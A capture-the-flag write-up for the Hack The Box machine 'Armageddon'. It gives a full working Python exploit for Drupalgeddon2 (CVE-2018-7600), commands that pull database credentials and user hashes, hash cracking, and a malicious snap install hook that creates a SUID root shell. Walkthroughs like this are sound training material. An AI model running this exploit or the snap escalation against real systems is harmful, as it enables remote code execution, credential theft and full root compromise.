Armageddon

htb linux easy drupal cve-2018-7600 drupalgeddon2 snap privilege-escalation

Machine Information

  • Platform: Linux
  • Difficulty: Easy
  • IP Address: 10.129.235.106

Initial Enumeration

Nmap Scan

attacker@kali
attacker@kali:~$ nmap -sT -p- --min-rate 5000 10.129.235.106
Nmap Scan Results
Collapsible Output

Service Enumeration

Web Application

attacker@kali
attacker@kali:~$ whatweb 10.129.235.106
WhatWeb Results
$ http://10.129.235.106 [200 OK] Apache[2.4.6], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/5.4.16], IP[10.129.235.106], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], PHP[5.4.16], PasswordField[pass], PoweredBy[Armageddon], Script[text/javascript], Title[Welcome to Armageddon | Armageddon], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.4.16]

Running Nuclei revealed the site is running Drupal 7, which is vulnerable to CVE-2018-7600 (Drupalgeddon2).


Exploitation

CVE-2018-7600: Drupalgeddon2

CVE-2018-7600 is a critical remote code execution vulnerability in Drupal 7.x < 7.58. The vulnerability exists in the Form API where user-supplied input is not properly sanitized, allowing attackers to inject malicious code through form properties.

Vulnerability Details

Affected Versions:

  • Drupal 7.x before 7.58
  • Drupal 8.x before 8.3.9
  • Drupal 8.4.x before 8.4.6
  • Drupal 8.5.x before 8.5.1

Attack Vector: The exploit abuses the #post_render property in Drupal’s Form API to execute arbitrary PHP functions.

I created an enhanced exploit script that accepts command-line arguments:

CVE-2018-7600.py

#!/usr/bin/env python3
"""
CVE-2018-7600 - Drupal 7.x Remote Code Execution (Drupalgeddon2)
Updated to accept commands as arguments
Original by firefart
"""

import argparse
import re
import requests
import sys

def exploit(host, command):
    if not host.endswith('/'):
        host += '/'

    # Prepare malicious GET parameters
    get_params = {
        'q': 'user/password',
        'name[#post_render][]': 'passthru',
        'name[#markup]': command,
        'name[#type]': 'markup'
    }

    # POST parameters
    post_params = {
        'form_id': 'user_pass',
        '_triggering_element_name': 'name'
    }

    try:
        # Send exploit payload
        r = requests.post(host, data=post_params, params=get_params, timeout=10)

        # Extract form_build_id
        m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)

        if not m:
            print("[-] Target does not appear to be vulnerable")
            return None

        found = m.group(1)

        # Retrieve command output
        get_params = {'q': 'file/ajax/name/#value/' + found}
        post_params = {'form_build_id': found}

        r = requests.post(host, data=post_params, params=get_params, timeout=10)
        r.encoding = 'ISO-8859-1'

        output = r.text.split("[{")[0].strip()
        return output if output else ""

    except Exception as e:
        print(f"[-] Exploit failed: {e}")
        return None

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2018-7600 Drupal RCE Exploit')
    parser.add_argument('-u', '--url', required=True, help='Target Drupal URL')
    parser.add_argument('-c', '--command', required=True, help='Command to execute')
    args = parser.parse_args()

    print(f"[*] Target: {args.url}")
    print(f"[*] Command: {args.command}")

    result = exploit(args.url, args.command)

    if result is not None:
        print(f"\n[+] COMMAND OUTPUT:\n{result}")
    else:
        print("[-] Exploitation failed")
        sys.exit(1)

Extracting Database Credentials

attacker@kali
attacker@kali:~$ python3 ./CVE-2018-7600.py -u http://10.129.235.106 -c 'cat sites/default/settings.php'
Database Credentials

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

Dumping User Credentials

attacker@kali
attacker@kali:~$ python3 ./CVE-2018-7600.py -u http://10.129.235.106 -c "mysql -u drupaluser -p'CQHEy@9M*m23gBVj' drupal -e 'SELECT name, pass, mail, status FROM users;'"
Drupal User Hashes
$ name pass mail status brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu 1 test $S$DMo.hNxgNilmqX9m8tzGQQx7poQIjtPKQqRVACh1JdZJMT7Zj9XT test@test.com 0

Cracking the Hash

attacker@kali
attacker@kali:~$ hashcat -m 7900 drupal.hash rockyou.txt
Hashcat Cracked Password
$ $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo

Credentials: brucetherealadmin:booboo

SSH Access

attacker@kali
attacker@kali:~$ ssh brucetherealadmin@10.129.235.106
SSH Login Success
$ brucetherealadmin@10.129.235.106's password: booboo Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2 [brucetherealadmin@armageddon ~]$ ls -l total 4 -r--------. 1 brucetherealadmin brucetherealadmin 33 Oct 30 20:02 user.txt
USER FLAG HTB
1563d4fba2cdd05aa886b7ab4671ee2b

Post-Exploitation Enumeration

Shell
brucetherealadmin@armageddon sudo -l
Sudo Permissions
$ Matching Defaults entries for brucetherealadmin on armageddon: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin User brucetherealadmin may run the following commands on armageddon: (root) NOPASSWD: /usr/bin/snap install *

The user can run /usr/bin/snap install * as root without a password - this can be exploited for privilege escalation.

Reference: GTFOBins - snap


Privilege Escalation

Snap Install Exploit

The exploit creates a malicious snap package with an install hook that runs as root. The key insight is using /var/lib/snapd/hostfs/ to access the real host filesystem and create a SUID bash binary.

Shell
brucetherealadmin@armageddon # Create unique snap name NAME=evil$(date +%s) WD=/tmp/$NAME mkdir -p "$WD/meta/hooks" # Create snap metadata cat >"$WD/meta/snap.yaml"<"$WD/meta/hooks/install"<<'SH' #!/bin/sh set -e T=/var/lib/snapd/hostfs/var/tmp/rootbash rm -f "$T" cp /bin/bash "$T" chown root:root "$T" chmod 4755 "$T" SH chmod +x "$WD/meta/hooks/install" # Pack and install /usr/bin/snap pack "$WD" && SNAP_PKG="$(ls -1 /tmp/${NAME}_1.0_*.snap)" /usr/bin/sudo /usr/bin/snap install --dangerous --devmode "$SNAP_PKG" # Execute SUID bash /var/tmp/rootbash -p
Root Shell Obtained
$ rootbash-4.2# id uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) euid=0(root) groups=0(root),1000(brucetherealadmin)
ROOT FLAG HTB
f69b8411be353a195c7d791e253cd183
Why This Works
The install hook runs with root privileges during snap installation. By writing to /var/lib/snapd/hostfs/var/tmp/rootbash, we’re writing to the actual host filesystem (not the snap sandbox), creating a SUID bash binary owned by root.

Loot

Credentials

๐Ÿ” SSH
Username: brucetherealadmin
Password: booboo
Host: 10.129.235.106
Notes: Cracked from Drupal hash
๐Ÿ” MySQL
Username: drupaluser
Password: CQHEy@9M*m23gBVj
Host: localhost
Notes: Found in sites/default/settings.php

Hashes

DRUPAL Drupal Password Hash (Drupal 7)
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

Key Takeaways

  1. CVE-2018-7600 is a critical RCE vulnerability in Drupal 7 that exploits the Form API’s #post_render property
  2. Always check for default credentials and database configuration files after gaining initial access
  3. The snap install privilege can be exploited by creating malicious snap packages with install hooks
  4. Using /var/lib/snapd/hostfs/ allows escaping the snap sandbox to access the real filesystem